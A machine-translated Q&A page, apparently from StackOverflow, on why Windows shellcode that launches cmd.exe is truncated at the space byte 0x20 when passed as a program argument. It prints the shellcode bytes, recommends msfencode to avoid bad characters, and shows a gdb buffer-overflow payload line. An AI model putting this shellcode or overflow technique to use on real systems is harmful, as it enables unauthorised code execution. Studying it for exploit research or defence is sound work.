質問

私のシェルコードが後で切り詰められるのはなぜですか \x20 オペコードは、文字列によってコピーされて 2 番目の脆弱なプログラムにスタックされるとき?

--cmd.exe--
 char shell[]=

"\xc7\x44\x24\x0c\x65\x78\x65\x20" ← only this line is put in stack, though hv a enough space 
"\xc7\x44\x24\x08\x63\x6d\x64\x2e"
"\x31\xc0"
"\x89\x44\x24\x04"
"\x8d\x44\x24\x08"
"\x89\x04\x24"
"\x8d\x05\xad\x23\x86\x7c"
"\xff\xd0";
--end shell--
役に立ちましたか?

解決

このシェルコードをコマンドライン引数として渡していますか?その場合は、0x20 の ASCII コードを見てください ;)

他のヒント

私の理論では、引用符、スペース、null などは、送信されるのではなく Windows シェルによって解釈されるということです。何らかの方法でエスケープすることもできますが、シェルコードをエンコードするだけの方が簡単だと思います。したがって、これらのオペコードを完全に回避するには、metasploit の msfencode ユーティリティを試してください。null (/x00)、space (/x20)、および quote (/x22) が直接渡せないことはわかっていますが、他にも同様に渡せないオペコードがあると思います。

これが私の解決策ですが、他にもっと良い解決策を知っている人はいますか?

コマンド全体を二重引用符で囲みます。たとえば、次を実行します。

"$shellcode" (gdb)r "$(python -c 'print "\x41" * 100 + "\x20\x83\x04\x08" + ....')"
ライセンス: CC-BY-SA帰属
所属していません StackOverflow
scroll top